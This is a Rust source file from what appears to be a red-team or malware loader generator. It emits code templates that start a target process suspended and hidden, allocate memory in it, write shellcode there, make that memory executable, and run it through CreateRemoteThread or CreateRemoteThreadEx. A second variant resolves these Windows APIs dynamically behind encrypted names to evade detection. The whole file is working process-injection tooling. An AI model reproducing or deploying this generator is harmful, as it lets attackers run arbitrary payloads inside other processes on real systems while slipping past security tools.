use super::super::process_helpers;
 use super::common;
 
 pub struct RemoteThreadConfig {
     function_name: &'static str,
     has_attribute_list: bool,
 }
 
 impl RemoteThreadConfig {
     pub const fn create_remote_thread() -> Self {
         Self {
             function_name: "CreateRemoteThread",
             has_attribute_list: false,
         }
     }
 
     pub const fn create_remote_thread_ex() -> Self {
         Self {
             function_name: "CreateRemoteThreadEx",
             has_attribute_list: true,
         }
     }
 
     pub fn generate_import(&self) -> String {
         format!("\n{}\n", common::common_process_injection_imports())
     }
 
     pub fn generate_const(&self) -> String {
         let params = if self.has_attribute_list {
             r#"    fn CreateRemoteThreadEx(
         process: *mut std::ffi::c_void,
         thread_attributes: *const std::ffi::c_void,
         stack_size: usize,
         start_address: *const std::ffi::c_void,
         parameter: *const std::ffi::c_void,
         creation_flags: u32,
         attribute_list: *const std::ffi::c_void,
         thread_id: *mut u32,
     ) -> *mut std::ffi::c_void;"#
         } else {
             r#"    fn CreateRemoteThread(
         process: *mut std::ffi::c_void,
         thread_attributes: *const std::ffi::c_void,
         stack_size: usize,
         start_address: *const std::ffi::c_void,
         parameter: *const std::ffi::c_void,
         creation_flags: u32,
         thread_id: *mut u32,
     ) -> *mut std::ffi::c_void;"#
         };
 
         format!(
             r#"
 {}
 {}
 
 #[link(name = "kernel32")]
 extern "system" {{
 {}
 
 {}
 }}
 
 {}
 "#,
             common::COMMON_MEMORY_CONSTANTS,
             common::COMMON_PROCESS_CONSTANTS,
             common::common_process_injection_externs(),
             params,
             common::common_process_structures()
         )
     }
 
     pub fn generate_init(&self) -> String {
         process_helpers::generate_load_process_function()
     }
 
     pub fn generate_process(&self) -> String {
         let thread_call = if self.has_attribute_list {
             format!(
                 r#"let thread = {}(
             process.process,
             ptr::null(),
             0,
             base_addr,
             ptr::null(),
             0,
             ptr::null(),
             ptr::null_mut(),
         );"#,
                 self.function_name
             )
         } else {
             format!(
                 r#"let thread = {}(
             process.process,
             ptr::null(),
             0,
             base_addr,
             ptr::null(),
             0,
             ptr::null_mut(),
         );"#,
                 self.function_name
             )
         };
 
         format!(
             r#"
     let process = load_process("__PROCESS__");
     let mut old_protect: u32 = PAGE_READWRITE;
 
     unsafe {{
         let base_addr = VirtualAllocEx(
             process.process,
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_READWRITE,
         );
 
         if base_addr.is_null() {{
             panic!("failed");
         }}
 
         let result = WriteProcessMemory(
             process.process,
             base_addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
             ptr::null_mut(),
         );
 
         if result == 0 {{
             panic!("failed");
         }}
 
         let result = VirtualProtectEx(
             process.process,
             base_addr,
             shellcode.len(),
             PAGE_EXECUTE_READ,
             &mut old_protect,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
 
         {}
 
         if thread.is_null() {{
             panic!("failed");
         }}
     }}
 "#,
             thread_call
         )
     }
 
     pub fn generate_template(&self, target_process: &str, function_name: &str) -> String {
         let template = super::common::TechniqueTemplateBuilder::new()
             .with_import(self.generate_import())
             .with_const(self.generate_const())
             .with_init(self.generate_init())
             .with_process(self.generate_process())
             .build(function_name);
 
         template.replace("__PROCESS__", target_process)
     }
 
     pub fn generate_init_with_dynamic_resolver(
         &self,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> Result<String, String> {
         use super::super::{process_helpers, windows_types};
         use super::dynamic_common::*;
 
         let create_process_w = create_process_w_resolver(encryptor)?;
 
         Ok(format!(
             r#"
 fn load_process(target: &str) -> ProcessInformation {{
     {}
 
     {}
 
     {}
 
     unsafe {{
         {create_process_w_resolver}
         {create_process_w_cast}
 
         let result = create_process_w(
             ptr::null(),
             command_line.as_mut_ptr(),
             ptr::null(),
             ptr::null(),
             0,
             CREATE_SUSPENDED | CREATE_NO_WINDOW,
             ptr::null(),
             ptr::null(),
             &si,
             &mut pi,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
     }}
 
     pi
 }}
 "#,
             windows_types::init_startup_info_w(),
             windows_types::init_process_information(),
             process_helpers::command_line_conversion("target"),
             create_process_w_resolver = create_process_w.resolver_code,
             create_process_w_cast = create_process_w.cast_code,
         ))
     }
 
     pub fn generate_process_with_dynamic_resolver(
         &self,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> Result<String, String> {
         use super::dynamic_common::*;
 
         let virtual_alloc_ex = virtual_alloc_ex_resolver(encryptor)?;
         let write_process_memory = write_process_memory_resolver(encryptor)?;
         let virtual_protect_ex = virtual_protect_ex_resolver(encryptor)?;
 
         let (thread_resolver, _thread_resolver_name, thread_call) = if self.has_attribute_list {
             let resolver = create_remote_thread_ex_resolver(encryptor)?;
             let call = r#"let thread = create_remote_thread_ex(
             process.process,
             ptr::null(),
             0,
             base_addr,
             ptr::null(),
             0,
             ptr::null(),
             ptr::null_mut(),
         );"#;
             (resolver, "create_remote_thread_ex", call)
         } else {
             let resolver = create_remote_thread_resolver(encryptor)?;
             let call = r#"let thread = create_remote_thread(
             process.process,
             ptr::null(),
             0,
             base_addr,
             ptr::null(),
             0,
             ptr::null_mut(),
         );"#;
             (resolver, "create_remote_thread", call)
         };
 
         Ok(format!(
             r#"
     let process = load_process("__PROCESS__");
     let mut old_protect: u32 = PAGE_READWRITE;
 
     unsafe {{
         {virtual_alloc_ex_resolver}
         {virtual_alloc_ex_cast}
 
         let base_addr = virtual_alloc_ex(
             process.process,
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_READWRITE,
         );
 
         if base_addr.is_null() {{
             panic!("failed");
         }}
 
         {write_process_memory_resolver}
         {write_process_memory_cast}
 
         let result = write_process_memory(
             process.process,
             base_addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
             ptr::null_mut(),
         );
 
         if result == 0 {{
             panic!("failed");
         }}
 
         {virtual_protect_ex_resolver}
         {virtual_protect_ex_cast}
 
         let result = virtual_protect_ex(
             process.process,
             base_addr,
             shellcode.len(),
             PAGE_EXECUTE_READ,
             &mut old_protect,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
 
         {thread_resolver}
         {thread_cast}
 
         {thread_call}
 
         if thread.is_null() {{
             panic!("failed");
         }}
     }}
 "#,
             virtual_alloc_ex_resolver = virtual_alloc_ex.resolver_code,
             virtual_alloc_ex_cast = virtual_alloc_ex.cast_code,
             write_process_memory_resolver = write_process_memory.resolver_code,
             write_process_memory_cast = write_process_memory.cast_code,
             virtual_protect_ex_resolver = virtual_protect_ex.resolver_code,
             virtual_protect_ex_cast = virtual_protect_ex.cast_code,
             thread_resolver = thread_resolver.resolver_code,
             thread_cast = thread_resolver.cast_code,
             thread_call = thread_call,
         ))
     }
 
     pub fn generate_template_with_dynamic_resolver(
         &self,
         target_process: &str,
         function_name: &str,
         _encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> Result<String, String> {
         let init_code = self.generate_init_with_dynamic_resolver(encryptor)?;
         let process_code = self.generate_process_with_dynamic_resolver(encryptor)?;
 
         let template = super::common::TechniqueTemplateBuilder::new()
             .with_import(self.generate_import())
             .with_const(self.generate_const())
             .with_init(init_code)
             .with_process(process_code)
             .build(function_name);
 
         Ok(template.replace("__PROCESS__", target_process))
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit